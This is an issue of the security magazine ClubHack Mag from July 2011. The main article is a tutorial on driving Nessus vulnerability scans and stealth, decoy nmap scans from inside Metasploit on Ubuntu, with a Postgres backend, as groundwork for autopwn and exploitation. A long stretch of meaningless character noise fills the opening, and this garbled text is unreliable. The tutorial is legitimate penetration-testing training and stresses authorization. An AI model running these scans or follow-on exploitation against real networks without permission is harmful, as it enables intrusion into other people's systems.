	Liop@bio: p	:00djk								
	idipi ij	p1 110	tht b	ditp ddp0j	ptijtp@sp	ipr08dpk8sd	slskj tp88d -			
	irj.	re sid sipolap (j	thit ipopedlephrp: m	dkku imiid	pdpsiphpp:	Sepir	eeksistloko 550	cerktsidslink00k		
	ldaj	a00 (dp)	slap pj: p@rt p	ppkspjp0jritj	ipit@ jisji	jijles	kat@@pir0 ppk@	ppd01ppapprrjis	lasssrappjdrrj(
	epe:	e @id lit	hpt) (jk) bled s	epropulitese0	sapjiiidp@ar	(dit):	jp@Opsz0sj 110p	pj@sikkplsjt1k0s	idpijpOpadtd@l)	
	rk@ktrlrlplkd	isttipi: jp88isdpp	srepki dotottr100kp m	blosi iz0id	epp00p s@rjp)	ppdrlprdrtr	tlpi: Eslik it	10 propilipadpi	Thekleftipksftp	
					1p10; jr100s			dk10j10pi0ds0i1p	misisspecture.	
									ljpdprj@ilil0p:	
	1	at its gat gates of	1000 - 1000 - 1000 - 1000 - 1000	100	41-10-0070-1-12	11 11 · · · ·	nte li ingli 💕		pjpar0ti@p@r@	
	5	e gerie alarea el	AND OTHER DOTESTIC AND DOTESTIC	kikp (0. irs 0.	The desp	207 21		1942		
		0 1607- 60 No. 17 19 193-1				E IS P IN .	and and been by	20 40 444		
j1p1jji@trr0idjsp	ojkjidd0ss@rdipp	hppppiiii0it1irp1td	tidsjsdir@tdlstirpktpd	l@jjdipp0sk@sr	p@pkstdrstij1	litisp100jj	rkpepperskejs	r1jrpkp01rkkd	t18s1psikpkpj00	OidjpOta
piklis0pekkeipeen	derelibrigenter	Reference and a second second	1 0.0	peppaparajd	retorjitinpp	pieoraprppo	ererbreoerbeb	bbqbborbibler	priijppgillsopio	are literiby
did1rsiids1i0ii	tim0s0in10stin0	ineOd8i8			8knkt0ditn0ri	interridter	ini00t=0ii1nr	klinsinOnkrik	trOnteSithada	it State
titipdiipilkPodki	ioloor@coolokois	sdr0id		peoplic	orpriiz#sro0d	ito@potras0	rerdrid1tieid	ntite0011ki8d	tdrdpdttPotorski	litstOpd
Ls@siii1@pr0p@01p	okr1j1ppsk0j1pri			dietkj	sars0ir0saksu	jidj0ir@p0	dkkop11psrij1	iprolrtpippir	pOdtipdtr1@kppp1	IrtiOipB
jssrdlirjksdirdpy	ps0rs@0pjp@si1k0			= rptp	pipridljkrkss	di0ppptdrj	rr@Orstdkpjdp	j@tp0@k1ip1pi	sk@skjrppikptdd:	
p1tp0p1ptpsjrskj	jktjOti@@iri@spp		1 r1 j	ip p pps	1dss@r0dit@pt	:@s@dsi1pp1	@jkprsdt1pkpd	j@ssp0rdjkjij	kjpidipkjijddjk	jjekkale
jpri@0ip00pssik@0	Orttdpkkss0djp0j	ppi@Oti	jisi@pk	ttês pê pd	pilpskprdk@dt	tlejljkjikt	ktdiddrp@0r@@	0j0@1rsji0dss	spp@idriipts:hs0	Odkt1p0
pp@pilk@plpdt@dk:	ssjt0pjj0jp@dtd1	0ddpkjjjs	li@rspprji	ij@rlp1 ip	ptp0spjdjs0rp	ppd0t1@0jp1		tt@tp0tpij@ir	00pp11ipjpi00@dj	jpsjirpt
cs@sdrpi0@rsp00pp	prji@tptirii0t0t	tdspip@1s	jerd ptreipppditsptk	tar Okkk (ai	p@skd0@dttds0	Oddpj tp1p1p	rditdlpj1tl@t	d1pirj0k@sdt1	Stiktkpjiptdkjt1	tprk0dj;
Lskkjj@d0jkcj0dk0	Ojkiisissjjkslap	sprk@jrrd	pdd0jdj@ppssj1@1	ppriks diji	elpeditisrlip	prijstklizd	1010sjpd1t1kd	t@kar01ji ika	rrisss@i0j@tp=d	
potjerr10eddtp00	0dip@ptd0p@pipp8	a @krijr0tr:	sjjlkijlp@ksdktppp0s p	ii sip OpOdda	rpapprpdajrk	Likp01110kp	rstpptd@iplpj	p00jiljpsts0t	Opsri p@@	
rpsdlsjdrp@js0s10	Ppdr@dsrdd1p0001	pp prplpdil	rptpphi0pjsiltj10pispi	P1 3 33PEEOP	psestdipejjps	sttadipapad	JEFICEIPULICJ	p tljpitpitdt		
tpjaeersrprjaarse	ejeooreeojrarpat	de int idii180mm	en en di di 1 ren 1 i di di mi d	apapa roajapja	abiramardaiki	ilia8ati880	derdeis0eit0			
ageoggggggggggggggggggggggggggggggggggg	idk1s10sikidkitk	ks ##0odrr#k0di1	arail@prripid#trtmimim	kkrOrt oppi01	ri@i00skdkk1m	osokokodoik	dosti08d18d0	ifa		
LOkutjprjOkkikiko	00ds0dsj@0tt1tt8	ijr: 0i@0kdjkkdgd1p	ttdj0isstdj@ripjtk1kds	peidip jkdai	p8801ddrdik0k	thesprjiphp	ejid0sjdj1s0	ppt		
disdstpdi1dddjr@s	arpj1iprrt01ripd	iter sdpktlsirtrirp	lirdspptd0sipi1s@rpjpj	BOktar0 ptpit	100kc1c00pjks	peodophidp	illdjtsi00j l	jti		
98iksdr@i@010dip	tar@Oarkppriss0d	likd petreippristd@c:	1@j1kdpp0r@ppk0t lorr1	01sps0op0jp0	ddip10i11@jp8	(Osji@issdj	OiOkekkjel: k	rdp		
ijkkodices101joc0	(strrjjds10) tot	p:@erdpt1p0d@kt1psk	kOsprrk@ipjkk@stkOstld	irphir01resiji	lkspitzisppip	pkdir10ajaa	rptptrrk@r t	2 8		
Operprestipji01ee	sdpr10kkks	@jdpsptkp0ktjjpj0d	jsjjp@rpj0sjp1dkptdspd	ippkki@@stjptd	irps1tkp01pppj	jtrjr@1pjtp	1kpdliktp: 33	0p		
1j0sj1j0pikr01p00	00td0jpd	r@ts@jdrpr1pp@s1p@	kllrjtsipktsps rlppsr kj	130dki31s1133	1srtppjrljdkk	tOstdOirt11	ijjij0psk pj	3		
cpj@tttpsrt@pirti	LpstOppl Lpotdel	predioioioiprdid	cssisti@Opipttilttilt	jp@pirdidj0pj	1kjs10dipdd0p	prjpjrdisdu	aldpjjpji jEp	1		
		110rs0c01rcp8	derijorrerkd0n0tdokra	ordoitroipoli	pOBipprtaste	dt1=r8ki0n	101110r1 rm0			
dirrdt0pcc=p08800		rst00s8ipii0	OpriSi: OristBrislapi0	OokoBoOdoriki	1p1ki00@prp1i	Poko10d1s1	iislils rot			
01jpdjisten(12dd		inter 1ppsjjtdii0	jpjp0: d00ki1rkktppp0p	001ipOd1sitipj	pppttpi1pdr@i	idk1ipt0drr	pidrakt kidk			
		discolation drdpitrjpi	ppkd p@idt11r0tjp1ir@	dsrjppiktt0p1	rpritkpktpsii	10spjk0rsp1	0ssp0p: 0js			
sjrp01ipjt@01ter		propridgie tirldj1pr	p hpppkrit11dji0jrs1js	skpdtr10kpssji	@rpridp1djd@r		tdad01 1p0i			
rtt1sk@jdpjd0)sp		ppdd:llispppripsrjd:	00is0pjkpiisii@rd@j0p	pidd0kspp0i0sr	pd0td0dkt00t1	1xpd0tt0jt1	pdpjje jjj			
it1t0dpj@jtp.hp.		tespelpükpi pile 0dppp1	ppk0tt1@rssijjdprp1@pt	tdtdpd@@ipjdrk	sjpjpkr0j1id@	Osrrdhpirt	1kptp 10t1			
jrjjst0p00d	topipi poptatal		srpptkprir@pidk11d@jks	skd0krt@tjslid	didpitsrpi01j	j1pprp0tpit	odos r0j			
[]pilpire]t	pu 144	projection (complete)	pacppapagpagpaaspeasus	spojile@ddeell	pidsipisusjui 80ske0o8doe1i	rep@ercijir	revp			
istitodt			drotolr6d8akiro0keiti	ij Stodk OnSnerj	i OpOpideritiO	lanj@ndnn0=	int this			
thores and the second	oblair odpilatio		phinrik@tts0ipi00i1i	D08kdttroto1i	ikipidup00i1d	18adariaaria	rk 100			
Dtkspj1psh00triis	elppjij rj pir600		iOp00kijkk@kpp1dd1@1d	iptst0t8kjpksi	1s0skt@ssi0is	@ikr1kjit0	ip tjrp			
s0ppjidkpd1p80c	rstpk@@piptjjaal		j00jp00tdiijppp01jt00	gr1d00pj@@sirt	jtrjd@t1t0dr1	l@t1irikp0@	0=1 d 0			
Drkptip0011dhp8r:	i dpd00tdsie	sairindpipOsispjo@c	10dp@prr@1@@ispkrspjp		dkjpid10pirp0	0k0@ip0ikjs	j zzt0			
	Ospirs0p000	detkpiprp s1pp iridjp	pk00ssp0t@ipi@00i0j1	lptpdpst10dk@j	iOdOtrjOsdtpt	tiskikkr@ss	p jjpd@1sl			
	in politdjir - 1810	augusten j pkj@ statkt	idsjdks10d0dsprs0p0	Drlp@ksjpist0k	tejrtdddtkrpl	Indüserkike	d psslrjjippt			
	drjip 11	in OdOkik kidj angipipip	rrrtr10d@ppikktpii	idssktjttdrkkl	tOskrkkOkjeds	arpipp0@pr	10111pkdpsdpp	Jbr		
	uap er	upsa		sabebarbbraeba	ik0mi1mk8i0ee	eprepresta	hlalikati	dssripp:		
	Same Chord	dible gibnistein Coh	in all from the property of the		inopinpieroso	idint@likin	r100ttm1nd0p	ejcipuolite.	01	
	di 00pd de t	int pascotsrthifing		riferidding 18	lp10ris t0	tthoissr	OprOOtrstipk	tot01@r1ii@r1	kdtida	
	pisptttipg 0 cm	gui@idtdp@t@dsipdtp@			rjarlppdrtppk		ikeisirjrilpd	tsk0@ rr@tj1p	pk0pr1@ph	p
	ies0ppipd peet	rep0kdj.s0p0k1pitep		prjidr0r8kd 81	triski		titi 1tdk0krd	10ipi@tks1psj	dptr@0itpdtr	et
	ljidaptd papi	likkOsisipj@pjpjsC		ttdisrdr0t1kr	idtj1jik0sp11	logililate	ilj la t 10ddp0	djk0ijd1kr)pr	isjp@jjj1dp0sij): sp
	010pp1@tp lptps	pppppd()100rrs)stpt		1k@jtjskjp0pp	Copidi sjzdidp		j0@ip pip 1dt0@	@tkrpjp0@00jj	pj 0tjlditkkssrs	rs18: ird
	WELLIGI PLEN			littdptr100pi	kr1p0ii@@ht0@	r10r	ipp@p0di@r:@r	000ppiilrkett	0ijijidejta@jja	rOp@ikpdo
				±15d5108j0	ppi0s1@0tsjt1	jpplj pt0r	Opts@ttipipp	critpidpjsist	10ppidpti11s0@pl	r110rd0it
Dreinstall om				piilji0ss	U)L)POL CONTRACTOR	pe rdi	piir@ks@@k0i	r cijljtdsp@1	dedau ire doorp	eripejiki
				peagerjjr		pi ipli	doffrani come	ibe dipeti	essperapyri pte	i selondi
			Plice Charles and and and and	litokankannii	toodel1kk	strate in the second	itation10.000	to10p01 det at	ikatoj Aderi Asta	Dor k0id0
		a0011 mainki08	pdjarol.0p0e04r014-tir	thipitdipfalo	pidortdio	igadokūini	1pk0dipkd1jik	lridrop ris	1ps@jd0kjrp0zr0	ajinkte
		Opp) =101-1ijpi001:	10-5) trapOdrigt111pppp	s0@d@sp0tppip	ejjsip0pp@dtk	firsd0jsilr	ljs@dkdkptsji	jss@kjds1.pks	dpjktjsip@strji	pedreidi
		elle illetd1ppp0it1	0-11k0ersyp88081/s0d8s	pikkrjrprtkrj	011dpdk@@sltt	:djlilsiid1	0g0kddis0ijkj	plkdtpsis td0	irppp@pddt0d0ddl	pir0dip

Issue 18 | July 2011 www.clubhack.com

TechGyan Using Metasploit with Nessus Bridge | ToolGyan Armitage

Mom's Guide Penetration Testing with MSF | Matriux Vibhag The Exploitation Ka Baap - MSF

Dear all, I'm back here on this page after a long gap to give you some great news. Firstly ClubHack Mag is now partners with the famous infosec magazines - Hakin9 and PenTestMag.

Second, I hope you remember our feb2011 issue covering "Mantra" & hope that you all are having good time with it. Well, the good news is Mantra - a browser based security framework is now an OWASP project, Yay!!

-



Rohit Srivastwa

Coming back to this issue, this time the theme is Metasploit. Yes, the "ultimate tool" in every hacker's arsenal!

This issue covers the topics such as basics of Metasploit in Mom's guide, the Metasploit GUI -Armitage in Tools Gyan, How to run nessus from within Metasploit in Tech Gyan, exploiting a machine using Metasploit in Matriux Vibhag and Trademark Law and Cyberspace in Legal Gyan.

Starting with June 2011 issue, CHMag will be available in ePUB format which readers can download on their kindle/ipad/other ebook readers. Thanks to our new online friend Jason Barnett for volunteering for this initiative. To download epub check chmag.in Do let us know what topics you would like us to cover. We are also open to criticism, it helps us to improve :) And of course you can send your articles also to info@chmag.in We love to publish ;)

ClubHACK Mag	/	Pg 03	TechGyan Using Metasploit with Nessus Bridge on Ubuntu
Issue 18, July 2011. <u>Team CHmag</u> Rohit Srivastwa <i>rohit@clubhack.com</i>	TS	Pg 10	ToolGyan Armitage – The Ultimate Attack Platform for Metasploit
Aarja Bhattacharyya <i>aarja@chmag.in</i> Abhijeet R Patil <i>abhijeet@chmag.in</i>	NTEN	Pg 16	Mom'sGuide Penetration Testing with Metasploit Framework
Abhishek Nagar abhishek@chmag.in Pankit Thakkar pankit@chmag.in	CO	Pg 23	LegalGyan Trademark Law and Cyberspace
Varun V Hirve <i>varun@chmag.in</i> www.chmag.in info@chmag.in		Pg 28	MatriuxVibhag The Exploitation Ka Baap - MSF

TechGYAN

Issue 18 – July 2011 | Page -



Using Metasploit with Nessus Bridge on Ubuntu

Ever wondered how to use the autopwn feature in Metasploit on Ubuntu? Want to run nessus from within metasploit? What database should I use; sqlite3 or postgres? I will explain the benefits of both. The concept will allow you to do various tasks with your nessus server and nmap from within the msf command line.

Nessus is a vulnerability scanner program, it is free for personal use using the home home. They also have a nessus for business which requires a fee. I will be discussing the nessus for home use and using it with the popular metasploit framework. Acquire the latest release of nessus homefeed Nessus-4.4.1-ubuntu1010_i386.deb and register for the activation code. Follow the instructions listed in the document ion for installing with Ubuntu and start to configure. Nessus daemon cant be started until nessus has been registered and the plugin (http://www.nessus.org/products/nessus/n essus-plugins/obtain-an-activation-code) download has occurred.

```
$ sudo /opt/nessus/bin/nessus-
fetch -register 'registration
code from nessus'
```

Add user:-

\$ sudo /opt/nessus/sbin/nessusadduser

Make cert:-

\$ sudo /opt/nessus/sbin/nessusmkcert

Start the nessus Daemon:-

\$ sudo /etc/init.d/nessusd start

Open up web browser to https://localhost:8834, login and complete a policy for your scans. I would create a number of policies based on the different systems that you will be scanning. If your scanning a windows environment then having the plugin for Linux and BSD are pointless. Also make sure that you have safe checks enabled, select a port scanner to use, select credentials, select plugins (remember not to enable ones that will bounce the box). and select preferences. When finished you should have a number of different policies that will be numbered 1 - however many you have and you can give them names for example for scanning windows environment you can label them as windows. Now you can logout of nessus and close the web browser.

ClubHACK

1. 6. 20 Mar 14

Now open up a terminal and browse to where metasploit is installed and run an update.

\$ cd /opt/framework-3.6.0/msf3
\$ sudo svn update

Before we start the msfconsole lets get our database in proper order. Now I have used sqlite3 in the past and even did a tutorial on my website using sqlite3 <u>http://pbnetworks.net/?cmd=bbs&id=35</u> which worked fine but sometimes it may not work and give error warning 'Note that sqlite is not supported due to numerous issues. It may work, but don't count on it.' Postgres is the recommended database for Metasploit. So let's install the postgres database and libraries.

```
$ sudo apt-get install
postgresgl-8.4
```

\$ sudo apt-get install rubygems
libpq-dev

\$ sudo gem install pg

```
$ sudo apt-get install
libreadline-dev
$ sudo apt-get install libssl-
dev
$ sudo apt-get install libpq5
$ sudo apt-get install ruby-dev
```

Now every time you start your system start the database before you start metasploit

```
$ sudo /etc/init.d/postgresql-
8.4 start
```

You will need to become the system postgres user:-

```
$ sudo -s
```

su postgres

Now you will need to create a database user:

\$ createuser <user account name>
-P

Enter password for new role:

Enter it again:

Shall the new role be a superuser? (y/n) n

Shall the new role be allowed to create databases? (y/n) n

shall the new role be allowed to create more new roles? (y/n) n

Next we need to crate a database:

\$ createdb -owner=<user account
name> msf_database

Now we can start up metasploit:

```
:/opt/framework-3.6.0/msf3$ sudo
./msfconsole
```



Enter in the following commands:

msf> db driver postgresql

msf> db_connect <user account
name>:<password>@127.0.0.1:5432/
msf_database

msf> db_hosts

Now before, when using sqlite3, creating and connecting to the database was easy. I would start up metasploit and issue the following commands:

```
msf> db_driver sqlite3
msf> db_connect
```

To verify if the database was connected I would issue the following command:

msf> db_hosts

If everything looked good I would have no errors and I could use the db_nmap command. But sometimes I would encounter errors and it would crash. Using postgres is more reliable than sqlite3 and it is also useful as I will describe later. Finally go ahead and enable the database on startup by issuing the following commands:

```
msf> cat > ~/.msf3/msfconsole.rc
db_driver postgresql
db_connect <user name
account>:<password>@127.0.0.1:54
32/msf_database
db_workspace -a MyProject
^D
```

Now the next time you fire up metasploit your database will automatically be up and you will be connected to it. Just make sure that you have postgres running, I run postgres manually before I start metasploit (See Figure #1).

post	es@Mobi es@Mobi	le-Anta le-Anta	arcti arcti	c:/	'home/d 'opt/fr	r0wn\$	c rk	d /opt/ -3.6.0/	fram nsf3	iewo I\$.	rk /m	-3.6.0/msf3/ sfconsole	
	=[met -=[676 -=[217 =[svn	asploi explo: payloa r12300	t <mark>v3</mark> . its - ads - 5 upd	7.(35 27 ate)-dev 64 auxi 7 encoc ed toda	core: liary lers - ly (20	3. 8 11	7 <mark>api:1</mark> nops .04.12)					

Figure 1: Notice that postgresql loads when first starting the msfconsole

Clubhack_{Nes}

Now that we have postgres as the database for metasploit lets start using nessus from within metasploit. Open up a second terminal and make sure nessus is running if not load the daemon. Now from the msfconsole load nessus (see figure #2).

msf > load nessus

cr0wn@Mobile-Antarctic: /etc/init.d
File Edit View Terminal Help
resource (/var/lib/postgresql/.msf3/msfconsole.rc)> db_driver postgresql [*] Using database driver postgresql resource (/var/lib/postgresql/.msf3/msfconsole.rc)> db_connect msf_cr0wn:mercur
<pre>@127.0.0.1:5432/msf_database NOTICE: CREATE TABLE will create implicit sequence "sessions_id_seq" for serial column "sessions.id" NOTICE: CPEATE TABLE / PRIMARY KEY will create implicit index "coccions play"</pre>
or table "sessions" NOTICE: CREATE TABLE will create implicit sequence "session_events_id_seq" for serial column "session_events.id"
NOTICE: CREATE TABLE 7 PRIMARY KEY will create implicit index "session_events_ key" for table "session_events" resource (/var/lib/postgresql/.msf3/msfconsole.rc)> db_workspace -a MyProject [*] Added workspace: MyProject
<pre>[*] Nota nessus [*] Nessus Bridge for Metasploit 1.1 [+] Type nessus_help for a command listing [*] Creating Exploit Search Index - (/var/lib/postgresql/.msf3/nessus_index) - t his wont take long.</pre>
[*] It has taken : 5.813429 seconds to build the exploits search index [*] Successfully loaded plugin: nessus <u>msf</u> >

Figure 2: Loading nessus from the msfconsole

Now let see what kind of commands the Nessus Bridge for Metasploit 1.1 has given us, type nessus_help (see figure #3).

msf > nessus help

	-
File Edit View Terminal Help	
<u>nsf</u> > nessus_help	
Command	Help Text
Generic Commands	
nessus_connect	Connect to a nessus server
nessus_save	Save nessus login info between sessions
nessus_logout	Logout from the nessus server
nessus_help	Listing of available nessus commands
nessus_server_status	Check the status of your Nessus Server
nessus_admin	Checks if user is an admin
nessus_server_feed	Nessus Feed Type
nessus_find_targets	Try to find vulnerable targets from a report
nessus_server_prets	Display Server Prefs
Reports Commands	
nessus report list	List all Nessus reports
nessus report get	Import a report from the nessus server in Nessus v2 f
ormat	
nessus report hosts	Get list of hosts from a report
nessus report host ports	Get list of open ports from a host from a report
nessus_report_host_detail	Detail from a report item on a host
Scan Commands	
nessus scan new	Create new Nessus Scan
nessus scan status	List all currently running Nessus scans
nessus scan pause	Pause a Nessus Scan
nessus scan pause all	Pause all Nessus Scans
nessus scan stop	Stop a Nessus Scan
nessus scan stop all	Stop all Nessus Scans
nessus_scan_resume	Resume a Nessus Scan
nessus_scan_resume_all	Resume all Nessus Scans
Plugin Commands	
nessus_plugin_list	Displays each plugin family and the number of plugins
nessus_plugin_family	List plugins in a ramity
nessus_plugin_details	List details of a particular plugin
User Commands	
nessus_user_list	Show Nessus Users
nessus_user_add	Add a new Nessus User
nessus_user_del	Delete a Nessus User
nessus_user_passwd	Change Nessus Users Password
Policy Commands	
Policy Commanus	

Figure 3: Nessus help

The commands are divided up into different sections labeled Generic, Reports, Scan, Plugin, User, and Policy commands. Before we can run a scan we need to connect to the nessus server by using the nessus_connect command. msf > nessus_connect <nessus
username>:<password>@localhost:8
834 ok

This should connect and authenticate you. From here you can run the scans, review the results, and load the scan results into the database and use autopwn feature. Or you can view the results and find a vulnerability with a system you scanned and throw a single exploit and get a meterpreter shell. Depending on the environment you may want to review the results of your nessus output and find the appropriate exploit to use instead of generating the noise of running autopwn. Now let's start our scan by issuing nessus_scan_new command as follows nessus_scan_new <policy id> (this was set in your nessus policy settings) < scan name> (generic) <target> (ip address)

```
msf > nessus_scan_new 1
winXP home 192.168.1.124
```

To check up on the status of our scan use the nessus scan status feature (see figure #4).

msf > nessus scan status



Figure 4: Nessus Scan Status

When the scan has completed you can view the results using the following commands

3.5

```
msf > nessus report list
```

We can view a list of hosts from the report with the following command

```
msf > nessus report hosts UID
```

To view further information issue the following command:-

```
msf > nessus_report_host_ports
<ip address> UID (see Figure #5)
```

File Fr	nie View Term	inal Help	million of the second	_	_	_		25
mof >		anort bost	002da/11_1f1	1-207f-	1006-55	15-80202	6c800fa883	75651004
[+] R	leport Info		09200411-111	+-2011-	+00-55	13800202	0000918005	75051500
Hostn s	iame	Severity	Sev 0 Sev 1	Sev 2	Sev 3	Current	Progress	Total Progre
192.1	.68.1.124	16	3 16	0	Θ	42521		42521
[*] s <ho m<u>sf</u> > fa883 [+] H Port</ho 	Get Get Stname> < Prossus_re F7565190d Host Info Protocol	t informat: report id> eport_host Severity	ion from a par ports 192.168 Service Name	ticular .1.124 Sev 0	host: 092da41 Sev 1	1-1f14-2 Sev 2	nessus_re e7f-4c06-5 Sev 3	port_host_por 515a802026c80
 9	icmp	1	general	0	2	Θ	Θ	
9	tcp	i	general	0	6	0	0	
9	udp	1	general	0	1	0	Θ	
23	tcp	1	telnet	1	1	Θ	Θ	
135	tcp	0	epmap	1	0	Θ	0	
137	udp	1	netbios-ns	0	1	0	0	
139	tcp	1	smb	1	4	0	0	
	udp	1	upnp-client	0	1	0	Θ	
1900								

Figure 5: nessus_report_host_ports 192.168.1.124 UID

To see a list of hosts issue the db_host command. If you want to remove hosts from the db_hosts file then issue the db_del_host_command (see Figure #6)



Issue 18 – July 2011 | Page -

ClubHACK_{Nac}

Figure 6: db del host command

Next we need to load the results into our database with the following command

```
msf> nessus_report_get UID
```

Now with the scan complete and the host listed in the db_hosts file you can run the autopwn tool or find an exploit that will work against the box. More on this in another article next month.

Now lets take a look at using nmap within the metasploit framework.

To use the nmap command from within the metasploit framework use the 'db_nmap' command to run nmap scans against targets and have the scan results stored in the database. When running on Back|Track I can issue many different nmap commands such as db_nmap -sS -sV -T 3 -PO -O <ip address> -D RND --packet-trace. Which show the results: -sS TCP SYN stealth scan, -sV version scan, -T 3 normal scan, -O find the operating system, -D RND use a decoy and generate a random, non-reserved IP address, and finally --packet-trace will trace

packets and data sent and received. I like to use the packet-trace feature on large scans because if it fails you can see it. Now this is great feature to use while in the msfconsole but I can't do this when using Unbuntu and connected to the postgres database as the postgres user. Why? Because I get an error saying that only the root user has the ability to use this nmap option (see Figure #7). I can use 'db_nmap -v -sV 192.168.15.0/24 -packet-trace' and the scan runs and produces an output. I have view the results with the following commands (Figure 8)

msf > db hosts

ClubHACK ...

1. C. XC. A. V. V. S.

msf > db services -c port, state

File	Edit	view	Iermi	nal He	р									
		.oPYo.		. oPYo	oPYo	oPY		. OPY						
		800008		.0000										
		=[meta =[676 =[217	<mark>sploi</mark> explo paylo	t v3.7 its - ads -	. <mark>0-dev</mark> 354 aux: 27 enco	[core: iliary ders -	3.7 a 8 no	api:1. ops						
eso	= = = urce	=[meta =[676 =[217 =[svn e (/var	<mark>sploi</mark> explo paylo r1231 /lib/	t v3.7 its - ads - 1 upda postgr	.0-dev 354 aux: 27 enco ted tod esql/.m:	[core: iliary ders - ay (20 sf3/ms	3.7 a 8 no 11.04 fcons	api:1 ops 4.13) sole.1	0] 	lb_dri	ver p	ostgro	esql	
eso	= = = urce Usir	=[meta =[676 =[217 =[svn =[svn e (/var	sploi explo paylo r1231 /lib/ base /lib/	t v3.7 its - ads - 1 upda postgr driver	.0-dev 354 aux: 27 encod ted tod esql/.m: postgru	[core: iliary ders - ay (20 sf3/ms esql	3.7 a 8 no 11.04 fcons	api:1 ops 4.13) sole.1	0] rc)> (lb_dri	ver p	ostgr	esql	
reso [*]	= = = urce Usir urce	=[meta =[676 =[217 =[svn e (/var ng data e (/var	sploi explo paylo r1231 /lib/ base /lib/ 2/msf	t v3.7 its - ads - 1 upda postgr driver postgr datab	.0-dev 354 aux: 27 encoi ted todi esql/.m: postgri esql/.m: ase	[core: iliary ders - ay (20 sf3/ms esql sf3/ms	3.7 a 8 no 11.04 fcons fcons	api:1 ops 4.13) sole.1 sole.1	0] c)> c c)> c	lb_dri lb_cor	ver p	ostgro nsf_c	esql r0wn:1	mercury
reso [*] 2127 reso [*]	urce Usin 0.0	=[meta =[676 =[217 =[svn e (/var e (/var 0.1:543 e (/var e (/var	sploi explo paylo r1231 /lib/ base /lib/ 2/msf /lib/ space	t v3.7 its - ads - 1 upda postgr driver postgr _datab postgr : My <u>Pr</u>	.0-dev 354 aux: 27 encou ted todi esql/.m: esql/.m: ase esql/.m: oject_	[core: iliary ders - ay (20 sf3/ms sf3/ms sf3/ms	3.7 a 8 no 11.04 fcons fcons	api:1 ops 4.13) sole.1 sole.1	0] rc)> c rc)> c rc)> c	lb_dri lb_cor lb_wor	ver p nect i kspac	ostgro nsf_c e -a l	esql rØwn:n 4yPro	mercury
reso [*] reso <u>2</u> 127 reso [*] nsf	= = = = Usir urce .0.0 urce Adde	=[meta =[676 =[217 =[svn e (/var e (/var 0.1:543 e (/var ed work	sploi explo paylo r1231 /lib/ base /lib/ 2/msf /lib/ space -sS <u>-</u>	t v3.7 its - ads - 1 upda driver postgr datab postgr : MyPr sV -T_	.0-dev 354 aux: 27 encod ted toda esql/.mm ostgru esql/.mm ase esql/.mm oject 4 -P0 <u>-1</u>	[core: iliary ders - ay (20 sf3/ms sf3/ms sf3/ms sf3/ms	3.7 a 8 no 11.04 fcons fcons fcons	api:1 ops 4.13) sole.1 sole.1	0] c)> c c)> c c)> c 4 -D	lb_dri lb_cor lb_wor RND -	ver p nect i kspaci	ostgru nsf_c e -a l	esql r0wn:1 MyPro	mercury

Figure 7: nmap error with postgres

Now if I want to issue complex nmap scans I can exit out of the msf prompt, exit out of postgres, stop the database and login with sudo and use the sqlite3 database. The same command that the OS didn't allow me to use now can be used with no problem (Figure #9)

cr0wn@Mobi	le-An	tarctic	: /opt/framework-3.	6.0/msf3 识	ha	_	-	. = X
File Edit View	Termir	nal He						
Hosts =====								
address mments	mac	name	os_name	os_flavor	os_sp	purpose	info	со
192.168.1.124 192.168.15.1			Linux			device		
192.168.15.3			Microsoft Windows			server		
<u>msf</u> > db_sevic [-] Unknown co <u>msf</u> > db_servi Services =======	es -c mmand ces -	port, : db_s c port	state evices. ,state					
host	port	stat	e					
192.168.1.124 192.168.1.124 192.168.5.1 192.168.5.1 192.168.5.1 192.168.5.1 192.168.5.1 192.168.5.2 192.168.5.2 192.168.5.2 192.168.5.2 192.168.5.3 192.168.5.3 192.168.5.3 192.168.5.3 192.168.5.3	23 135 139 22 80 554 2048 22 135 139 445 1024 23 135 139 445 2869	open open open open open open open open						
<u>msf</u> >								7

Figure 8: db_namp using postgres database

crown@Mobile	e-Antarctic: /opt/frar	newor	k-3.6.0/mst3		- • ×	
File Edit View T	erminal Help					
<pre>[*] Nmap: OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003 *] Nmap: Network Distance: 1 hop *] Nmap: All 1000 scanned ports on 192.168.15.4 are closed *] Nmap: MAC Address: 00:00:29:82:1A:AB (VMware) *] Nmap: Too many fingerprints match this host to give specific OS details *] Nmap: Network Distance: 1 hop *] Nmap: OS and Service detection performed. Please report any incorrect result s at http://nmap.org/submit/. *] Nmap: Nmap done: 256 IP addresses (4 hosts up) scanned in 153.31 seconds msf > db_hosts Hosts</pre>						
address rpose info co	mac mments	name	os_name	os_flavor os_sp	pu	
192.168.1.124 vice 192.168.1.134	00:0B:DB:1D:D3:2B		Microsoft Windows	ХР	de	
192.168.15.1 vice	00:17:EE:CA:32:B2		MontaVista Linux	2.4.X	de	
192.168.15.3	00:0B:DB:1D:D3:2B		Microsoft Windows	ХР	de	
vice 209.200.15.190 vice			ShoreTel embedded		de	
<u>msf</u> >					V	

Figure 9: db_nmap using sqlite3

msf > db_nmap -sS -sV -T 4 -P0 0 192.168.15.0/24 -D RND -packet-trace

1.5

Look at the difference in results we now have after viewing information in the db_hosts and db_services -c port,state commands. Compare difference between figure #10 & figure #8.

cr0wn@Mobil	e-Anta	rctic: /opt/fram	ework-3.6.0/msf3	3 400		- = X
File Edit View	Terminal	Help				
192.168.15.1 vice	00:17	:EE:CA:32:B2	MontaVista	Linux	2.4.X	de 🔺
192.168.15.3 vice	00:0B	:DB:1D:D3:2B	Microsoft	Windows	ХР	de
209.200.15.190 vice			ShoreTel e	mbedded		de
<u>msf</u> > db_servic	:es -c	port,state				
Services ======						
host	port	state				
192.168.1.124 192.168.1.124 192.168.1.124 192.168.15.1 192.168.15.1 192.168.15.1 192.168.15.1 192.168.15.3 192.168.15.3 192.168.15.3 192.168.15.3 192.168.15.3 209.200.15.190	23 135 139 22 80 554 2048 23 135 139 445 2869 80 443	open open open open open open open open				
msf >						

Figure 10: nmap results using sqlite3

Conclusion

This information can be useful in checking the integrity and strength of your network if you are the Network Security Engineer for your workplace, and have permission to do so. Doing this to networks that you have no authorization to be on is against the law in many if not all countries. For more information and some video tutorial please visit my website at <u>http://pbnetworks.net</u>.

On the 'Net

Link to postgres setup: http://dev.metasploit.com/redmine/project s/framework/wiki/Postgres_setup

Link to video tutorials: http://pbnetworks.net/?cmd=bbs



David J. Dodd dave@pbnetworks.net

David J. Dodd is currently in the United States and holds a current 'Secret' DoD Clearance. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference He works for pbnetworks Inc. http://pbnetworks.net a small service disabled veteran owned business located in San Diego, CA

ToolGYAN



